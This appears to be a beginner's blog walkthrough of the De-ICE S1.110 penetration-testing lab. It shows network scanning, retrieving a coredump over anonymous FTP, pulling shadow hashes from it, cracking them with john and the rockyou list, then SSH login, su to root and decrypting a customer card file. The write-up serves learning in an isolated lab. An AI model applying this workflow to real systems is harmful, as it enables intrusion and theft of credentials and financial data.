The De-ICE S1.110 is an entry-level vulnerable live CD image, meant for learning the very basics of penetration testing. I, being an absolute beginner in such, decided to tackle the challenge. I started with the De-ICE S1.100 image, but ended up following a bunch of guides because of some weird OpenSSL decryption issues. However, this one I actually solved all by myself, applying the knowledge I gained from before. Here goes:
I set up a local restricted “lab”-environment in VMware Workstation, that contains a 64-bit Kali Linux VM, and of course, the vulnerable live CD image running in a small VM. The host-only network contains VMware’s DHCP-server so Kali can get itself an address, but the live CD is configured to have a static IP (
192.168.1.110) out of the box.
Starting off as usual
Let’s pretend for a moment that I don’t already know what address the target is behind, but I do know I am in the same network as it.
root@kali:~# ip a ... inet 192.168.1.3/24 ...
To try and find the target, I’ll use
netdiscover is a tool that scans a given network range with ARP, so scanning the
/24 network I’m in should take no time at all.
root@kali:~# netdiscover -r 192.168.1.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 2 Captured ARP Req/Rep packets, from 2 hosts. Total size: 120 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.1.110 00:0c:29:a5:eb:3b 1 60 Unknown vendor 192.168.1.254 00:50:56:f3:47:84 1 60 Unknown vendor
.254 is VMware’s DHCP-server, so
.110 must be the target. The next step is to find out what services are on the target, and what ports they listen to. This is where
nmap comes in.
root@kali:~# nmap -A -T4 192.168.1.110 Starting Nmap 7.40 ( https://nmap.org ) at 2017-09-09 01:17 EEST Nmap scan report for 192.168.1.110 Host is up (0.00011s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.4 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | drwxr-xr-x 7 1000 513 180 Sep 09 00:48 download |_drwxrwxrwx 2 0 0 60 Feb 26 2007 incoming [NSE: writeable] 22/tcp open tcpwrapped |_sshv1: Server supports SSHv1 80/tcp open http Apache httpd 2.2.4 ((Unix) mod_ssl/2.2.4 OpenSSL/0.9.8b DAV/2) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.2.4 (Unix) mod_ssl/2.2.4 OpenSSL/0.9.8b DAV/2 |_http-title: Site doesn't have a title (text/html). 631/tcp open ipp CUPS 1.1 | http-methods: |_ Potentially risky methods: PUT |_http-server-header: CUPS/1.1 |_http-title: 403 Forbidden MAC Address: 00:0C:29:A5:EB:3B (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.13 - 2.6.32 Network Distance: 1 hop Service Info: OS: Unix TRACEROUTE HOP RTT ADDRESS 1 0.11 ms 192.168.1.110
The options passed to
nmap enable OS and service detection (
-A), and faster execution (
nmap finished after about a minute and gave out a plethora of information:
- There’s an FTP server that allows for anonymous login. At its root, there are two directories:
incoming. I’ll be taking a look at these soon.
- SSH is at its standard port 22.
- Apache is hosting a site over HTTP. It also has OpenSSL enabled: this might be useful.
What’s there on the website
Navigating over to
http://22.214.171.124 gives the info page for the live CD. There’s a link to the game-related web pages, it’s really hard to miss. At the top, there’s a link to some hints on cracking the live CD, if you’re stuck.
Over at the game-related web page, it talks of being an FTP server for the network team; this is a continuation from the previous live CD (S1.100). The site has a list of some system administrators, with their names and respective email addresses. I’m going to go ahead and guess that these names are valid logins for the target. Simply iterating the names by hand provides the following username candidates:
adamsa aadams adams banterb bbanter banter coffeec ccoffee coffee
Having just recently compromised the previous target, these guys most likely have realised to not use their names as their passwords. At this point, I could run
hydra over these names and a wordlist, but that takes time and it’s boring to just stare at a blinking terminal cursor. But hey, there’s the FTP server.
What are these files anyway?
Simply navigating to
ftp://192.168.1.110 gives a nice graphical browser for the FTP-server. The
incoming directory is empty, but
download is full of goodies. At first glance, it seems to contain various common files and directories used to configure servers - sounds like something the web page talked about before. The superuser’s home doesn’t contain anything interesting, neither does
var. However, there’s a file called
I must admit, at this point I chuckled a bit, thinking some fool has left user password hashes just laying around in an anonymous FTP server. But, the file only contains a hash for
root, and nothing else. No mentions of the users I previously found. Just for good measure, I grabbed the hash, stuffed it into a file called
roothash and ran
john on it.
Can’t be that easy, now can it
john (the Ripper) is a tool that cracks hashed passwords, such as the ones in
shadow. Telling it to run in the
-single mode will crack only the most weakest passwords, but it’s still something.
Something it sure is. This hash is for the password
toor. Pinnacle of security over here. There’s just no way this is the actual password for root on the target. Even if it was, I won’t even bother trying to log in to root over SSH - no way it’s deliberately configured to allow root login.
I’ll try something else.
Someone did forget something just laying around
Still looking over
/etc, a file called
core pops out. This is a binary file, a coredump most likely. I can’t process it in a browser, so I have to get it to my machine. I’ll download it with
root@kali:~# wget ftp://192.168.1.110/download/etc/core --2017-09-09 01:53:57-- ftp://192.168.1.110/download/etc/core => ‘core’ Connecting to 192.168.1.110:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD (1) /download/etc ... done. ==> SIZE core ... 362436 ==> PASV ... done. ==> RETR core ... done. Length: 362436 (354K) (unauthoritative) core 100%[============================================================================>] 353,94K --.-KB/s in 0,001s 2017-09-09 01:53:57 (275 MB/s) - ‘core’ saved 
file confirms my suspicions; it sure is a coredump file:
root@kali:~# file core core: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV)
I’m not too familiar with analysing coredumps, so I’ll just resort to searching for any leftover
root@kali:~# strings core ... .dynamic .useless root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0:::::bin:*:9797:0:::::daemon:*:9797:0:::::adm:*:9797:0:::::lp:*:9797:0:::::sync:*:9797:0:::::shutdown:*:9797:0:::::halt:*:9797:0:::::mail:*:9797:0:::::news:*:9797:0:::::uucp:*:9797:0:::::operator:*:9797:0:::::games:*:9797:0:::::ftp:*:9797:0:::::smmsp:*:9797:0:::::mysql:*:9797:0:::::rpc:*:9797:0:::::sshd:*:9797:0:::::gdm:*:9797:0:::::pop:*:9797:0:::::nobody:*:9797:0:::::aadams:$1$klZ09iws$fQDiqXfQXBErilgdRyogn.:13570:0:99999:7:::bbanter:$1$1wY0b2Bt$Q6cLev2TG9eH9iIaTuFKy1:13571:0:99999:7:::ccoffee:$1$6yf/SuEu$EZ1TWxFMHE0pDXCCMQu70/:13574:0:99999:7:::
Now hold on just a moment. Do I see a
shadow there, with the users I previously found? Quickly formatting the string yields the following:
root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0::::: bin:*:9797:0::::: daemon:*:9797:0:::::a dm:*:9797:0::::: lp:*:9797:0::::: sync:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: mail:*:9797:0::::: news:*:9797:0::::: uucp:*:9797:0::::: operator:*:9797:0::::: games:*:9797:0::::: ftp:*:9797:0::::: smmsp:*:9797:0::::: mysql:*:9797:0::::: rpc:*:9797:0::::: sshd:*:9797:0::::: gdm:*:9797:0::::: pop:*:9797:0::::: nobody:*:9797:0::::: aadams:$1$klZ09iws$fQDiqXfQXBErilgdRyogn.:13570:0:99999:7::: bbanter:$1$1wY0b2Bt$Q6cLev2TG9eH9iIaTuFKy1:13571:0:99999:7::: ccoffee:$1$6yf/SuEu$EZ1TWxFMHE0pDXCCMQu70/:13574:0:99999:7:::
Let’s do some bruteforcing
I’ll store the hashes in a file called
hashes and run
john on it. Just
-single yields no results, which is quite expected. It’s time to bring out the big guns:
root@kali:~# john -rules -wordlist=/usr/share/wordlists/rockyou.txt -fork=8 hashes
-wordlist defines a list of words to try as passwords, and
-rules enables multiple mutation rules that are applied to each password. Kali comes packed with the “rockyou”-wordlist, that contains around 14.3 million commonly used passwords. This list combined with the default ruleset for john creates a massive amount of password candidates to go through. To ease this process, I’ll tell
john to use eight processes, with
-fork=8, to go through the passwords. (Eight, because that’s how many cores my Kali VM has available). Hitting almost any key while
john is running will print its status:
1 0g 0:00:00:07 0.01% (ETA: 2017-09-10 15:03) 0g/s 6515p/s 26067c/s 26067C/s purrfect..poppa1 5 0g 0:00:00:07 7.03% (ETA: 02:10:28) 0g/s 6593p/s 26378c/s 26378C/s fadhli1..estevez1 7 0g 0:00:00:07 10.56% (ETA: 02:09:55) 0g/s 6935p/s 27745c/s 27745C/s eillomeillom..edwoodedwood 8 0g 0:00:00:07 12.29% (ETA: 02:09:45) 0g/s 6281p/s 25127c/s 25127C/s htehpaj..yemaj 3 0g 0:00:00:07 3.52% (ETA: 02:12:08) 0g/s 6604p/s 26422c/s 26422C/s Dancer91..Dafydd 6 0g 0:00:00:07 8.78% (ETA: 02:10:08) 0g/s 6515p/s 26061c/s 26061C/s Mybike1..Muhamed1 4 0g 0:00:00:07 5.27% (ETA: 02:11:01) 0g/s 6273p/s 25100c/s 25100C/s mamadoras..mahpahs 2 0g 0:00:00:07 1.87% (ETA: 02:15:03) 0g/s 6255p/s 25025c/s 25025C/s janeiro..jammin
About 30 seconds worth of increasing my room’s ambient temperature,
john has found two passwords:
root@kali:~# john -show hashes root:Complexity:13574:0::::: bbanter:Zymurgy:13571:0:99999:7:::
Our beloved intern Bob from before did come up with a better password than just
bbanter, but it still succumbed to the bruteforce. I also have a password for root (!).
Get in and find something tasty
Now that I have a user and a password for it, I can log in through SSH.
root@kali:~# ssh firstname.lastname@example.org email@example.com's password: Linux 2.6.16. bbanter@slax:~$
I’m not interested in this user; I’ll head straight for
bbanter@slax:~$ su Password: ********** root@slax:/home/bbanter#
This being an FTP-server, I’m guessing the good stuff is over at the
ftp user’s home directory. However, it just contains the stuff that’s already available through the anonymous FTP server. Let’s check the other users:
root@slax:/home# ls -a . .. aadams bbanter ccoffee ftp root
What’s this? root has a directory for itself over at
root@slax:/home/root# ls -a . .. .save .screenrc
There’s a directory called
.save, I wonder what’s inside.
root@slax:/home/root/.save# ls copy.sh customer_account.csv.enc
Seems like I found something tasty.
There’s two files here: a shell script called
copy.sh and an allegedly encrypted CSV-file of customer accounts. I’ll take a look at the script first:
root@slax:/home/root/.save# cat copy.sh #!/bin/sh #encrypt files in ftp/incoming openssl enc -aes-256-cbc -salt -in /home/ftp/incoming/$1 -out /home/root/.save/$1.enc -pass file:/etc/ssl/certs/pw #remove old file rm /home/ftp/incoming/$1
The script, as it says in the comments, encrypts files in
/home/ftp/incoming, encrypts them and stores them in this
.save directory. Afterwards, it removes the original, which is why
incoming was empty. What matters here is the encryption:
- It’s done with OpenSSL’s symmetric encryption suite
- It uses AES-256-CBC as a cipher
- It uses a password stored in
Because of this, I can decrypt this file in-place, right here, right now.
root@slax:/home/root/.save# openssl enc -d -aes-256-cbc -in customer_account.csv.enc -pass file:/etc/ssl/certs/pw "CustomerID","CustomerName","CCType","AccountNo","ExpDate","DelMethod" 1002,"Mozart Exercise Balls Corp.","VISA","2412225132153211","11/09","SHIP" 1003,"Brahms 4-Hands Pianos","MC","3513151542522415","07/08","SHIP" 1004,"Strauss Blue River Drinks","MC","2514351522413214","02/08","PICKUP" 1005,"Beethoven Hearing-Aid Corp.","VISA","5126391235199246","09/09","SHIP" 1006,"Mendelssohn Wedding Dresses","MC","6147032541326464","01/10","PICKUP" 1007,"Tchaikovsky Nut Importer and Supplies","VISA","4123214145321524","05/08","SHIP"
And there it is; sensitive customer records that contain credit card information. “No Security Corp.” living up to its name.